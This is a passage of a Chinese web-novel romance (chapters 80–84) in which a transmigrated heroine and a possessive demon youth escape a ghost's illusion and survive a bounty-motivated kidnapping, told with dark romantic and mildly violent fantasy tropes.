可就算是藕丝,被他强化后自然可做杀人利器。 得到答案的池镜花格外兴奋。 她蓦地抬头,眨着亮晶晶的乌黑杏眼,扬着胜利的笑容。 “我知道了,是藕……” 话没说完,少女只见他眼眸低垂,长睫宛如狂风中的黑蝶无助颤抖着,平稳的呼吸也莫名乱了。 池镜花猜测也许隔着藕丝感受到她的舔舐,毕竟他向来敏感。 她赶紧松手,为让他恢复平静,故意往旁边挪了挪,不敢再轻易靠近他,不然又得缠着她又是抱又是亲的。 她猜对了。 正因这些藕丝与他身体各处相连,所以他才能随心所欲的操控,可当感受到神经末梢传来的湿热,脑海中怦然炸出五颜六色的烟花,在黑暗中吞噬他的理智。 渐渐地,眼前不再模糊,清明划破黑夜闯进瞳孔,四周景色逐变清晰。 他应是快要恢复视力了。 在此之前,他本能地偏头看她。 池镜花以为他要继续说藕丝的事情,下意识地先发制人。 “做什么?我猜对了,是藕丝,对不对?” 奚逢秋没有立即回答她的问题。 春风吹拂,枝叶沙沙。 当破损的双瞳彻底恢复色彩,蓝色的眼底逐渐浮现清晰明媚的脸庞,少年歪了歪脑袋,不可抑制地扬起个愉悦的笑容。 “池镜花,我看见你了。” 80-90 第81章 第81章每一处皆印着她的气息。…… 奚逢秋一直记得过去失明那段时间所发生的事情。 很黑。 什么也看不见。 不过他很快就适应失明的日子,甚至由于失去眼睛,身体的其他部位而愈发敏锐,只不过还不太熟练。 所以他才会不慎操控坠入河底。 当冰冷湍急的河水一遍遍肆意冲刷他身躯上的血污和泥泞,小少年以为他会窒息而亡,但却意外发现,自己在水下呼吸自如。 是了。 跟夫子学习做人学得太久,他差点忘记他原来只是一只恶心的妖怪。 沉入水下的落魄少年双眼紧闭,唇角微扬,心情看着不错,也不做任何挣扎,而是跟随流水的速度被冲到最下游——遇见通人性的白鹤。 一人一鹤倒是相处得融洽。 虽然视力依旧没有恢复,但小奚逢秋可以通过小白给他的提示避开麻烦事。 直到视力恢复。 他眼睛恢复正值春意最浓的时节。 春暖花开,清风拂面,漂亮的蝴蝶在野花丛中翩翩飞舞。 少年独自站在无人经过的河对岸,解开一直缠住眼睛的黑色布条,微微睁开许久不曾用过的双眼。 少年衣袂在风中翻飞,乌发摇曳,他微微仰着头,眼睛眨了几下,看见一枝垂丝海棠,花瓣随风飘零,视线逐渐往下移动,又望见倒映在清澈水面的粉色花瓣倒影。 在流水的冲击下,花瓣的倒影隐隐透着漂亮的水纹。 他看得入神。 不想下一刻,白鹤发现目标,扑腾着翅膀,将长喙伸进河里,一口吞下一条美味的鲫鱼,邀功般的从他身边走过。 梦幻般的倒影顷刻覆灭。 他极为缓慢地眨了一下眼睛。 不悲不喜,什么也感觉不到。 但现在,似乎跟之前不太一样。 当他毫无顾虑地注视着池镜花的面颊,将她按在怀侧,指尖轻轻抚摸她的肌肤,缠住她的发丝,彼此的气息交互缠绕,他整个人是极度满足的。 “好想和你一直在这里。” 一直在这里……?! 想到自己还肩负“维持剧情”的任务,池镜花一个激灵,忙双手推开他,拨浪鼓似的摇头,态度坚决地拒绝他。 “不行不行,不能一直在这里,我们得想办法离开幻境。” 模糊的树影在他的侧脸轻晃,他愣住几秒,不知想起什么,旋即弯弯唇轻笑一声,同意地点了点头。 “说的也是,毕竟还要去京师,不是吗?” 此话虽然不假,可听他这样毫无防备地信任着自己,池镜花莫名心虚。 她死乞白赖地跟着男主,吵着要去京城不是为了见世面,而是走剧情,而且,这段剧情本应由他来走的。 这么一想,好像也就没什么了。 池镜花深吸一口气,慢慢平复心情,正色问道:“你知道去哪里可以找到傩神吗?” 奚逢秋其实并不想找傩神,他虽不喜欢王府,却尤其喜爱这个由傩神编织出的幻境。 在这里,池镜花只与他熟络,会主动与他亲近。 “离开幻境后,我们还能像现在这般吗?” 池镜花一时没反应过来,“哪般?” 少年仔细回想一遍,面上漾着温和的笑,漂亮的薄唇一张一合,逐渐细数他们最近这些天做过的所有最亲密的事情。 “牵手、拥抱,还有亲吻。” 他就这么水灵灵地直接说出来了。 “能能能!” 池镜花面颊一红,她眼睫一颤,轻咬唇瓣,不大好意思地抬眸望着他不含任何情欲的双眸。 “只要你愿意,只要周围没有第三个人,我们依旧可以牵手、拥抱,还有……亲吻。” 说到最后,竟是池镜花忍不住搂住他,倾身靠近,哪怕在没有得到他允许的情况下,也在他的唇上极轻地啄了一下。 湿热的唇瓣如柔软的羽毛轻轻扫过他的,尽管仅有片刻,可唇上已残留着她的体温。 少年呼吸一滞,反应过来后,眼底浮出个清润的笑,下意识伸手去摸,细细感受她在自己身上所留下的气息。 池镜花也不知道自己到底是怎么了,总是抑制不住想要与他亲近的心情,分明她才是攻略者,可却好像被他的美色给勾引似的。 完全把持不住。 同样为此沉迷的还有奚逢秋。 他虽从未想明白自己为何偏偏喜欢她的亲近,可身体反应和心理感受不会骗人。 每一次,他都很高兴,哪怕疼痛也令人愉悦。 他轻柔地捧住她的脸颊,为让她可以继续不费力气地亲到自己,微凉的额头轻轻抵着她的,眼睫低垂,视线完整地落在她脸上,每一个音节皆透露出对她靠近的渴望。 “刚才太快了,要再亲一次吗?” 什么呀! 虽然她的确很想亲他,但为了不让自己沉迷美色耽误正事,池镜花只有狠心拒绝。 为防止自己再次忍不住贴上去,池镜花故意别过脸,躲开他的视线,粉嫩耳间透着些许绯红。 “今天就到这吧,留着下次再继续。” 虽然她直截了当地拒绝了,可奚逢秋没有反驳,而是极轻地应了一声,只依旧与她保持着额间相抵的亲密动作。 池镜花随他喜欢,就当是她故意亲他却又没有满足他的补偿。 她眨了眨不含任何杂质的的黑眸杏眼,将跑偏的话题拉回正轨。 “对了对了,你还没跟我说,傩神到底可能会出现在哪里呢。” 之所以向他询问,一是池镜花对此毫无头绪,二是她想到既然男配身为妖怪,也许对鬼神之事比较了解。 关于这点,池镜花没猜错。 自他踏入丰朝县,便察觉到一阵极强的违和感,与其说庇护这里的是傩神,还不如说是哪个坟头钻出的女鬼。 可奚逢秋没有直接告诉她正确答案,而是旁敲侧击地予她一些提示。 “她很喜欢看人演戏。” 斑驳的光影间,少年垂下纤长的睫羽,不知想到什么,蓦地轻声笑了笑,落于脸颊模糊的月牙阴影颤了几颤。 “这世上有种戏是专门演给鬼看的,当然,并非指的是游神会,而且真正的鬼戏。” 池镜花脑瓜子尤其好使,一点就通。 “我知道了!” 言罢,她一把抓住他的手,作势要拉他一块起身,不料五指反被他紧紧握住。 他以指腹轻轻摩挲她的肌肤,缓慢掀开蓝色的双眸,平静的眼底折射出浅金色的光辉。 “现在就要过去吗?” 池镜花表情郑重地点头。 “嗯,现在就要。” 虽然与奚逢秋两个人待在这里很是惬意,可她总得替身在幻境外界的其他人考虑,不然以为他们失踪报官就麻烦了。 虽然很享受与她在幻境里相处的这些时光,可奚逢秋还是完全顺从她的意愿。 他轻轻点了点头,一缕青丝从耳畔垂落,半遮住随风摇曳的鲜红。 “也好,我好像还没有见过鬼戏。” 望见他微微扬起的唇角,一副对鬼戏很感兴趣的样子,池镜花总觉得情况不妙。 ……不会出事吧? 希望只是她的错觉。 当然,眼下最要紧的事情还是赶紧破除幻境。 从奚逢秋给的提示语中,池镜花提取到个关键信息。 既是鬼戏,那出演者很有可能是鬼,而鬼出没的地方无非是阴气聚集之地。 而阴气重的地方无非就那么几处,地牢、荒村、古宅…… 寻遍城内所有可能地点皆一无所获后,只剩下个城外乱葬岗。 此时暮色已至。 暗色如一块不透气的硕大黑布,将四周裹个严实,凝滞的空气无法流动,分明无风,可幽暗的森林却响起诡异的沙沙声。 与城内的绿意形成鲜明对比,山上皆为枯死的树草,一路上见到不少动物的残尸。 池镜花心里直打鼓,不安地左右张望。 就在此时,她忽感微微蜷曲的小指传来一阵凉意,垂眸一看,是奚逢秋故意以白丝勾住她,偏偏一副纯良无害的模样歪头微笑。 “这样会不会好点?” 池镜花不语只点头。 继续一边往前走一边张望,终于,在踏入乱葬岗时,看见一座座鼓起的坟包里升起一缕缕蓝绿色的鬼火。 鬼火遇土落地为鬼,化为生前模样。 外形皆为青壮年男鬼,身披银色盔甲,手持长枪利刃,约定俗成般的分成两列,继而开始厮杀。 没有任何声音,又或者是池镜花并非真鬼听不见他们的哀嚎与呐喊。 而被杀死的男鬼立即重新化作鬼火,钻进杂草丛生的坟包里,等待下一个黑夜降临,再把这一切重演。 “以前,这里曾是战场。” 奚逢秋蓦地记起夫子曾说过的一些历史故事,微微偏过头,温柔地看向身侧之人,弯唇笑了笑。 “所以,这些应是他们死前发生的事情。” 死前发生的事情? 池镜花眨了眨眼睛,突然明白一切。 傩神并非只为奚逢秋指定死亡剧本,而是她本就钟情于“死亡”这件事。 男鬼们生前战死沙场的历史就在眼前重现,周围莫名起风,风中传来女子银铃般的笑声。 乱葬岗的坟包大多无人立碑。 黄衣女背对着两人,坐在唯一一座无名墓碑上,露出一截白皙的小腿在空中晃荡,薄纱般的黄衣拖曳至地,融于溶溶月色,在夜风中摇摆着。 “我知道你们会来找我的。” 转过头,看到奚逢秋已经恢复的双眼,有些好奇地眨了眨眼,语气听着十分轻快。 “你的眼睛这么快就好啦?看来是我下手不够狠,我应该直接挖出你的眼球才对。” 少年以指腹轻轻抚上眼睛四周,低声笑了一下。 “是啊,好可惜。” 随着声音一同落地的,还有汹涌的杀意,在寂静的夜里蔓延着。 傩神飘下墓碑,赤脚穿过层层鬼影,衣上不可避免地染上蓝绿色的幽幽鬼火,在星空下明明灭灭地闪烁着。 见女鬼靠近,池镜花忙祭出男主给的符咒,以防她再耍手段。 看见道士黄符,傩神脚步一顿,果然有所忌惮,表情却更加疑惑。 她几乎九十度僵硬地旋转整颗脑袋,“好奇怪啊,为何我始终无法窥探你的记忆?” 傩神果然有窥探别人记忆的能力! “要你管!” 怕被她察觉到来历,池镜花做贼心虚般朝她去一张符咒作为震慑。 傩神不慌不忙地玉指轻轻一抬,一缕正要回归坟包里的鬼火极速调头,冲到最前方,以自身之力替她挡住符咒的侵扰。 鬼火与符咒相撞时发出烟火般的爆炸声,可其他鬼影仿佛并未受到影响,依旧沉浸在死前的画面里。 顷刻间,炸裂声烟消云散,火光将符咒燃烧殆尽。 经此一役,傩神看出池镜花根本就是个门外汉,顶多是认识的人中有道士,可她自 己却根本不会任何术法。 “你不是道士。” 蹩脚的术法在外人面前露了馅,池镜花尴尬地咬住唇瓣。 “那又怎样,赶紧把幻境破了,放我们出去!” “我的目标本不是你。” 傩神先是摇了摇头,后又盯着她咧嘴笑了,诡异的笑容焊在脸上一般。 “不过现在,我却对你有点好奇了。” 当“好奇”二字从傩神口中轻飘飘地吐出时,池镜花只觉得缠在小指上的白丝骤然缩紧,仿佛隔着血肉,连接起她的神经。 呼吸莫名被他缠上的气息所扰乱,池镜花忍不住伸手抚摸了下。 感受到她的指尖温度,奚逢秋往她身边更近一步,直到肩膀碰到她的衣裳,与她紧密挨着,方才满足。 望见两人间自然暧昧的互动,傩神女鬼恍然大悟。 “原来如此,你们关系很好啊。” 原来,她根本努力错了方向,若想看到奚逢秋死亡的结局,她就不该把两人一同拖入幻境,从另外一人下手分明更好。 刹那间,无数鬼影纷纷化为鬼火,争先恐后地往属于自己的坟包里钻,与此同时,四周景色逐步扭曲变形。 幻境迅速破碎。 不知为何,傩神突然要解除幻境,但他们应该就可以出去了吧。 还没来得及高兴,下一刻,池镜花眼前一黑,后脑被钝器重重一击,失去意识般的向前倒下,身形也消散于风中。 幻境破灭,少女也从他身边消失不见,只留下一缕被截断的白丝,滚下几滴鲜红的血珠。 极淡的血腥味却以极快的速度盈满鼻腔,推进他的五脏六腑,像一根长针肆意搅乱他的神识,勾带出血淋淋的血肉,露出内里的森森白骨,每一处皆印着她的气息。 正在慢慢随她而去。 第82章 第82章自毁式的眷恋。 因现实与幻境对应的季节不同,幻境虽是春意盎然鸟语花香,可现实却已是十月底,马上进入十一月,温度骤降。 只穿了一层单薄春装的池镜花醒时浑身打了个哆嗦。 四周漆黑,凄冷迷蒙的月华从窗户中洒进月光洒,勉强照亮一小块区域,什么也看不清,寒风从四面八方挤进,将破旧的家具刮得发出吱吱呀呀的怪响,在空中不断回荡。 池镜花的后脑因钝器敲击所以很疼,而强行扯断白丝给手指造成的伤口正在流血。 幸运的是,虽然她不知为何被掳走,但对方并未限制她的自由。 池镜花挣扎着站起来,虚靠墙壁,仰头长舒一口气,接着左手捂住右手小指伤口止血。 她懂得如何保护自己以免陷入危险,所以很少受伤。 池镜花回想起上次手指流这么多的血还是第一次尝试做菜。 那时,她读完初中被父母接去城里,因父母工作繁忙,她只能学着照顾自己,结果在切菜时酿成悲剧。 就在此时,破旧且长满滑腻青苔的的木门吱呀一声被人从外面打开,一前一后的脚步声传来。 有人举着蜡烛靠近,微弱朦胧的暖色烛光迅速盈满整个屋子。 池镜花望见两个熟面孔。 是邑水村的庞氏兄弟二人。 她诧异地微微睁大眼睛,还没来得及张口询问,只见他们两人将照明蜡烛放在桌子上,其中一人为她斟了杯热茶。 “要不要喝点水,池姑娘?” 后脑勺还隐隐作痛,池镜花不得不警惕地打量二人。 察觉到她的抵抗情绪,庞二失笑一声,烛火闪烁之下,他位于左脸的长疤陷进油腻的横肉里。 “不要担心,我们不会伤害你的,毕竟你为我们铲除了傀儡妖,算作我们的救命恩人,你看,我们不是没有限制你的自由吗?” 关于这点,池镜花不得不承认,他们虽对她抱有强烈敌意,但确实没用绳索捆住她。 她慢步走过去,犹豫地坐到凳子上,指腹狠狠按住伤口,防止继续流血,又转动瞳孔,分别望了眼睛坐在对面和右手边的两个人,神色异常平静。 “我怎么会在这?” 和笑眯眯的庞二相比,庞三虽然话不多,但沉着冷静,视线总是透着阴冷之意。 “是你自己出现在我们面前的,你不知道?” 听他所言,池镜花立即明白是幻境覆灭时,她被傩神故意传送到庞氏兄弟跟前的。 屋外的风声很大,烛火忽暗忽明,少女镇定地点了点头,白皙的脸庞沾上些许灰尘,头发也乱糟糟的,只有一双眼眸仿若装着星光。 “我知道了,那你们抓我做什么?” 不知哪句话戳中庞二的笑点,他忽然仰头哈哈大笑。 “池姑娘这么聪明,应该知道的。” 不,她不知道,他不明白这两个人为何要一路尾随他们至丰朝县,还把她带至偏离人群的废宅。 可却没对她做什么。 所以,他们的目标并不是她。 左右一对比,池镜花立即想通这一切。 “你们也是为了奚逢秋?” “哈哈哈池姑娘果然聪明!” 庞二抖动双肩夸张地大笑着,又从怀中掏出一张皱巴巴的悬赏令。 “池姑娘知道吗?最近,有位大人物花了大价钱,在江湖上发布无数悬赏令,目标皆是奚公子。” 池镜花垂眸看了一眼。 不出所料,看见悬赏令的任务地点皆是当地的官府衙门,这说明幕后之人很有在朝廷里有权有势。 是否跟奚逢秋的出身有关呢? 蓦地,庞二又将悬赏令折好收起。 望着男人指下飞快的动作,池镜花蓦然想到客栈那晚被奚逢秋杀掉的那两个人,只是叫她做梦也没想到,庞氏兄弟居然与他们一样,甚至比他们更早谋划。 而他们之所以将她掳来,估计正是看中她与奚逢秋的关系,想利用她将奚逢秋引出。 而且,她确信,奚逢秋一定会来的,只是时间早晚问题。 想到这个,池镜花心脏紧张地砰砰直跳,面上却尽力维持镇定的模样。 “现在距离你们把我绑来过去多久了?” “才过去半天时间。” 庞二稍微瞥了一眼窗外的暮色,“别急,我们给奚公子留了暗号,他会找到你的。” 虽然很想再次见到奚逢秋,可池镜花不得不首先分析她当前所处状况。 她眼睛一扫四周景色,透过狭小破旧的窗户,可怜这栋废弃的屋子位于竹林深处,四周视野隐蔽。 “你们在这四周布下陷阱了吧?” 庞二单手撑脸,烛光在他眼底闪烁,他皮笑肉不笑,对她投以赞赏的目光。 “池姑娘果然是个聪明人。” 说实在的,池镜花一点也不想被他夸聪明,这就意味着,她分明知道一切却什么也做不了。 这种无能为力的感觉可真讨厌。 就在此时,沉默的庞三突然察觉周围异常,高喊了一声“二哥”。 可是迟了。 被操控的白丝没有丝毫犹豫。直接冲着割下他的头颅而去。 那是最简单的死法,对奚逢秋来说,无疑也是最快最省事的。 可庞氏兄弟毕竟长年混迹江湖经验丰富,当危险降临的前一秒,他已暴力踢开凳子,拉住庞三一道躲避危险。 但不幸还是被如利刃般的白丝划过他的脸颊,扯出一块血淋淋的皮肉。 闻到血腥味的庞三撕心裂肺地喊了一声“二哥”。 唯一的蜡烛被冷风扑灭,只能借由窗外洒落勉强摸清屋内发生的一切。 庞二捂着受伤的脸颊后撤至门口,鲜血从他的指缝滴落在腐朽的地板上时,维持在表面的笑容不再,双眼瞪大,不可置信地望着来者。 “你是如何进来的!” 他与胞弟分明在竹林布置无数陷阱,因此,不管奚逢秋从哪个方向来,都必定会中圈套,可他没有,甚至衣上连一片落叶都不曾沾上。 这不对劲。 虽然没有立即杀了这两个人有些遗憾,可奚逢秋没有第一 时间理会他们,而是巡视一周,角落里找到他思念已久的少女,直接朝她而去。 方才闹出的动静太大,求生的本能催促池镜花跑到角落里躲避危险。 其实,她应该想到的,能为她做到这步的人,除了奚逢秋没有别人。 所以,在奚逢秋向她踏出脚步的瞬间,池镜花眼睛没眨一下,几乎毫不犹豫地朝着他所在的位置奔去。 “奚……” 话没说完,下一刻,余光只看见个翻飞的衣角,便觉眼睛一黑,身躯掉入一个冰凉却叫她安心的怀抱。 因亲眼见到她在自己眼皮底下消失的场景,此时,站在阴暗处的奚逢秋没有任何安全感。 他唯有紧紧抱住她,将人牢牢按在怀里,直到自己的身影完全叠住她的、他们之间只剩下一层单薄的衣料。 池镜花分明站在窗户边上,可皎白的月光却未落在她身上分毫。 “池镜花……” 少年冰冷的身躯无助地颤抖着,不由自主地喃喃呼唤她,却不需要她言语上的任何回应,只要她整个人在他面前,清楚感受到她的存在就行。 “嗯……” 池镜花情不自禁地搂着他,心脏跳出怦怦跳,有种莫名的情愫正在心底悄悄蔓延。 冷风吹拂她的耳鬓发丝,卷动她浅蓝色的衣袂。 似察觉到什么,奚逢秋改用双手捧住她的脸颊,低下头时垂落的丝丝缕缕乌发化作无形温柔的樊笼,将她完全圈在其中,无孔不入地渗透她的呼吸。 因为有风,冰凉的发丝正若有似无地剐蹭她的脸颊,有点痒,当她仰头时,发丝又贴在她的脖颈,似乎怎么也无法摆脱。 池镜花只觉得有什么在模糊他们彼此间的边界,但这给她的感觉并不赖。 少年微微俯身靠近,以自身鼻尖贴着她的,闭上双眼,竭力感受她的呼吸。 嗯,呼吸正常。 接着,他又将脸颊完全贴至他的心口,精心去聆听她的心跳。 嗯,心跳有力。 他在意的人没事。 看见他耳侧紧贴自己胸口,池镜花笑了笑,忍不住摸了下他的头发,像是哄孩子般的轻声安抚他。 “奚逢秋,我真的没事。” 少年闻声抬头,垂下的长睫半遮眼眸,灼热的视线一寸寸往下,像在仔细确认什么,最终落在她尚未结疤的右手小指伤口上。 “这个是……” 池镜花指尖一颤,下意识想将手指背到身后,却先一步被他握住。 月光照耀下的伤口虽已不再流血,可指尖留下一道很深的口子,血肉模糊,几乎可见皮下筋骨。 奚逢秋以指腹轻轻碰了下她的伤口,抬眸看见池镜花皱了下眉,便知她感受到疼痛。 与他不同,池镜花不喜欢疼痛的滋味。 所以,他得轻一点。 奚逢秋想起傩神消失前说的最后一句话。 ——你知道螳螂捕蝉黄雀在后吗? 她清楚将池镜花抓走的人就是“黄雀”。 现在,他又看到了“黄雀”。 由窗户向外看去,夜幕下一片萧瑟。 奚逢秋又记起池镜花曾卜的卦,这里与他在卦相中“看”到的地点很像。 换句话说,这里就是他们的最终归宿。 奚逢秋一手握住受伤的手指,另一手轻柔抚摸她的脸颊,微微俯下身,任由发丝缠住她的,额头轻抵着少女的。 “别担心,这些就由我来铲除。” 等等! 由他铲除??? 池镜花探头向他身后看去,发觉庞氏兄弟早已不见踪迹。 结合他方才所说的话,她总有种大事不妙的感觉。 “都是他们的错。” 他语调温柔至极,可池镜花却呼吸一滞,伴随呼吸一同进入五脏六腑的还有一种感觉:被他演绎到极致而凸显病态的情感。 以他自身的全部助她清除一切可能存在的安全隐患。 ——自毁式的眷恋。 第83章 第83章将他纳入自己所认定的亲密关…… 因为没有白鹤作为辅助,奚逢秋的视野其实没那么宽阔。 因此,他唯有自行穿梭在树林中,一边愉快地笑着一边寻找那两只“黄雀”的身影。 当然,这次他学会不再用白丝直接缠住池镜花的手指,而是将从血肉中生长出的白丝埋进她的影子里,完全掌握在她周围发生的一切。 当然,杀两个流窜的逃犯并不难,只是,他还想将那只女鬼揪出,彻底绝了后患。 不过,捉鬼其实他并不擅长,更何况,她还故意藏起来了。 但有个人应该可以。 希望赵星澜可以发挥点作用吧。 待他解决四处逃窜的二人,再回到木屋,天已大亮,从门缝挤进的阳光洒进屋内,落在趴在桌前睡觉的少女身上。 池镜花守在这里等了很久,直到接近天亮,才迷迷糊糊地趴在桌子上睡过去的。 直到感觉颈侧有点痒。 她睫羽颤抖着睁开双眼,看见奚逢秋正坐在她身边指尖轻轻抚弄她的耳鬓碎发。 少年右边脸颊沾着血迹,身上却一尘不染,可能是清理的时候没有注意到。 屋外日光透进屋内,却驱不散徘徊在空气中的湿冷之意。 他面上荡漾着温暖和煦的笑,五指无比自然地插|进她的发丝里,每一次的动作皆轻轻牵动她的头皮、拉扯她的神经。 “吵到你了吗?” “没有。” 池镜花摇摇头,抬头一看,蓦然撞进少年蓝紫色的瞳孔。 他漂亮的唇角止不住上扬,露出个温润和煦的笑。 池镜花抿唇不语,任由他随意把玩自己的头发,抬手替他擦掉脸颊的血迹时,恍然想起一件重要的事情。 “对了对了,庞氏兄弟也是因为悬赏令所以才针对你。” 少年轻轻点头应了一声,如血滴的耳坠在她眼前摇曳了下,“我知道。” 池镜花心里隐隐透着不安。 前后已经有两波人因为这该死的悬赏令而来找他们的麻烦,再这样下去,别他们还没到京城,男配就没了。 一想到在原著里奚逢秋极有可能是死亡结局,池镜花没有来由地心痛。 不管是否有攻略男配的任务,她万万不想奚逢秋生命消亡。 “那你能猜到幕后之人是谁吗?” 少年轻轻地摇了摇头。 他并不知道这幕后之人究竟要做什么,唯有一件事是他自己可以完全掌控的。 他以指尖勾缠少女冰凉的发丝,一圈又一圈,又轻柔地抚摸她的肌肤,将整张脸凑到她跟前。 因在林间待了一夜,少年乌黑的发丝沾上湿润的水汽,随他靠近的动作,发丝贴上她的脸颊。 冰凉的发丝疯狂汲取她肌肤上的暖意 ,氤氲的水汽悄无声息地侵入她的呼吸。 黑暗中,仿佛她正被一条竖瞳黑蛇凝视着。 然后,奚逢秋抱住了她。 当又凉又柔的发丝滑过脸颊,令池镜花产生种如被蛇信舔舐的触觉,而他的双臂则化为蛇身,将她的身躯绞得更紧。 隔在二人之间的单薄布料变得可有可无。 池镜花能够清晰感受到他的心跳。 急促,有力。 哦,还有他身上传来的香气。 只要她还能闻见,清香就如同一张张细密的蛛网,引诱她主动踏入其中,他的气息开始有附上小腿,继而攀至大腿……直到他们完全融合不分彼此。 与他共生共频。 真是奇奇怪怪。 可她却莫名其妙地为此情绪高涨,就连耳边响起温柔而黏糊的声音都会让她心脏不受控制地剧烈跳动。 “别怕,我不会让任何人伤害你的。” 没错。 她知道,以奚逢秋的性格,绝对会护她周全,哪怕牺牲自己性命。 念及此,池镜花莫名想到在离开前他说过的话。 ——这些就由我来铲除。 ——都是他们的错。 一字一句分明承载汹涌的情意,可到头来,他却选择以另一种极端的形式表达出来,并非“我喜欢你”“我爱你”之类。 虽然他们关系很近,但仅停留在暧昧阶段,并非真正的恋人。 而池镜花,比谁都想听到他的表白。 可正如他曾说过他不会喜欢人一样。 当被这种观点潜移默化地影响着,不管他对他抱有多么强烈的恋慕,想与她一直在一起,也坚定不会认为这种情感是“爱恋”。 不行。 得想个办法让他意识到自己的情感。 最简单的办法当然是直接问他到底对自己抱有怎样的情感,可在没有十足的把握以前,她不能冒险将两人逐渐拉进的距离再扯远。 所以,池镜花暂时还没想好怎么做。 她默默调整下呼吸和心跳,拍了下他的肩膀,将他推开半步,改为握住他的手指,牢牢攥在手心里。 “好了,我们快点回客栈吧,好冷啊。” 奚逢秋对此不可置否。 当让两人穿梭在熟悉的街道上,池镜花左右张望,发现就属他们穿得最少,而其他人早早地就裹上了厚重的冬衣。 湿冷的空气无孔不入地渗透袖口和领口,将她全身冻得冰凉。 池镜花一手被他握着,另一只手伸到空中去感受这股冷意。 冷风轻轻滑过她的指缝,除了冰凉,什么也没留下。 像是记起什么重要的回忆,池镜花不禁喃喃自语:“今年会下雪吗?” 奚逢秋有些好奇地偏过头。 少年未干的发丝轻轻摇曳着,在太阳的照耀下如何结了一层细小而耀眼的冰晶,在他的耳铛中留下一层模糊的阴影。 “你想看见雪吗?” 池镜花重重点头,“嗯,想。” 并非由于她很少见雪,而是冬天与下雪绝配,她喜欢这种氛围——跟亲密的家人朋友围在火炉前的相互取暖。 “这样啊。” 他抬头望天,当日光照进他偏蓝色的眼瞳里,哪怕记起一些小时候的回忆,他神色依旧平静,而且也会主动略过那些不愉快的记忆。 “据我所知,在去京城的这一路上,每年都会下雪。” 听他这么说,池镜花眼睛都亮了,转过头时的乌发迅速滑过脸颊,露出雪白的侧颈。 “那到时候我们一起看雪啊!” 不管他同不同意,池镜花已霸道地将他纳入自己所认定的亲密关系中,正如她一直所强调地那般——他很重要。 除了在世的父母双亲,她最在乎的只有他。 所以,她不用等他回应,只需要用力抓紧他的手指,像一阵风似的拉着他往前跑。 “快点,我好饿。” 少女的发尾轻轻拂过他的面颊,却没留下什么明显的痕迹,也没有他的气息。 这不对。 他觉得不对,池镜花分明答应跟他永远在一起,所以,他们应是一体的,任何事情都不该把他们分开。 可是,怎么可以什么痕迹都没有呢? 但要怎么做呢? 他不明白。 第84章 第84章成为她体内的一部分。…… 离游神会结束还有两天时间。 男主赵星澜照例每天早出晚归地去傩神殿给做着护卫工作。 自从幻境里出来以后,奚逢秋再也没提跟傩神有关的事情,仿佛那场幻境从不存在于世间,可他对池镜花的态度和行为说明一切却并非如此。 自踏入十一月,气温更低,寒冷风中裹藏无数刀片,总是冻得池瑟瑟发抖,从金德镇买的那些衣裳再也用不上。 池镜花计划去买冬衣的那个晚上,温度又降了几度,空气弥漫的湿冷将睡梦里的少女冻得瑟瑟发抖。 迷迷糊糊之中,仿佛有什么黏湿冰冷的海底生物攀至她裸露在外的肌肤,将她仅存的颤栗一点点吞噬。 刚沐浴更衣过的少年坐在她床边,俯身,指尖迷恋地抚摸她的脸颊,垂落的潮湿乌发散在她枕边,氤氲着淡淡湿汽,仿佛以他自身化为囚牢,正在可怜地摇尾祈求她垂怜。 安静注视了会儿,奚逢秋瞳孔微转,轻轻握住她的手腕,嗅了嗅她的手腕内侧,继而又离得更近,去嗅她白皙的颈侧。 果然没有。 自离开幻境以后,除去她自身的甜腻,她的身上再也不存在他的气息。 仿佛他们之间隔着一条泾渭分明的天河。 她是她,他是他。 不可以。 不可以。 不可以这样。 他们要永远缠在一起的。 少年表情停滞半晌,蓦地低下头,隔着胸前的衣衫,在她怀里亲昵地蹭了蹭,才起身离去。 翌日清晨,当夹杂冬日寒意的日光从狭小的窗棂的缝隙照进屋内,池镜花毫不意外地被冻醒。 她坐起随意揉捏了下自己快要冻僵的冰凉脸颊,一扭头,看见桌上多出一套冬衣。 池镜花抱在怀里闻了一下,鼻腔里钻进一阵熟悉的香味,她便知道是怎么一回事。 还是她喜爱的浅蓝色。 不仅半夜偷偷进入她房间,还给予她一种难以言说的窒息感。 池镜花不由笑了笑,赶紧洗漱换衣,接着就要去对面的房间找奚逢秋。 没事的时候她习惯于早睡早起,所以这个时间点,走廊上没什么客人经过。 池镜花停在他的房间门口,隔着木门,正要叩门,一抬头,看见有个熟悉清瘦的黑影一言不发地立在门后。 好像提前预判她会找他一般。 而且,他在注视她。 灼热的视线仿佛已埋进她的影子里,渴望地索求身体的每一处。 池镜花脚步微顿,眨了眨眼睛,索性站在门口等他开门迎她进去。 一分钟。 两分钟。 …… 五分钟快过去了。 池镜花已经急得在门口走来走去,却迟迟等不到他开门。 大概知道他在计划什么,池镜花索性直接“啪”地一下主动推开门,闷头猛地撞进他怀里,用力将他推倒在地,整个人抱住他,整颗脑袋埋进他怀里。 白鹤被两人发出的动静所惊扰,振翅从窗户飞出去。 房间里只剩下他们二人。 被池镜花暴力扑倒的瞬间,少年唇角微扬,从喉咙深处溢出一声愉悦的轻笑。 他淡淡垂眸,纤长的睫羽下的蓝紫色眼瞳潜藏着兴奋的笑意。 奚逢秋修长的苍白指尖轻微勾了勾,将房门严严实实地给合上。 听见身后传来的动静,池镜花忍不住“噗嗤”一下笑出声来。 她仰起头,用来支撑身体双手轻轻按在他心口,垂落的发丝落于他身前,明媚的脸庞漾着止不住的灿烂的笑。 “你怎么突然知道要关门了?” 池镜花一直记得,在金德镇那会儿,他可没有关门的好习惯,所以,才会让她从无意得知他原来有操纵纸人的爱好。 金色日光从窗外照进屋内,斑驳的树影落在不远处的地面,在冷风中翩翩起舞。 奚逢秋一手揽着她的腰身以拉近彼此间的距离,另一手轻柔地抚摸她柔软的秀发。 “因为我不想让第三个人打扰到我们。” 嗯??? ……怎么说得好像他们在做什么少儿不宜的事情一样? 偏偏还一副温柔懵懂的样子。 可大多数情况下,都是他故意在引诱自己,可结果却把她衬托一直以来好像都是她在吃他豆腐一样。 就像是现在这般。 他分明知道她要来找自己,却故意一直站在门后不开门,就是笃定她忍不了多久就会主动推门进来。 恶劣! 这行径太恶劣了! 反正抱也抱了,池镜花满足了。 “好了,我下楼去吃饭了。” 她利落爬起,理了理被压乱的外衣,装作若无其事的样子正要下楼,不想正要抬脚,手腕却被他一把握住。 他指尖的温度和他躯体一样冰冷,如生长在潮湿暗夜中的深色藤蔓绞缠住她的手指,贪恋她肌肤的温度,令池镜花不禁打了个冷颤。 少年以近乎恳求的语气挽留她。 “我也给你做了早饭,先别走,可以吗?” 给她……做了早饭? 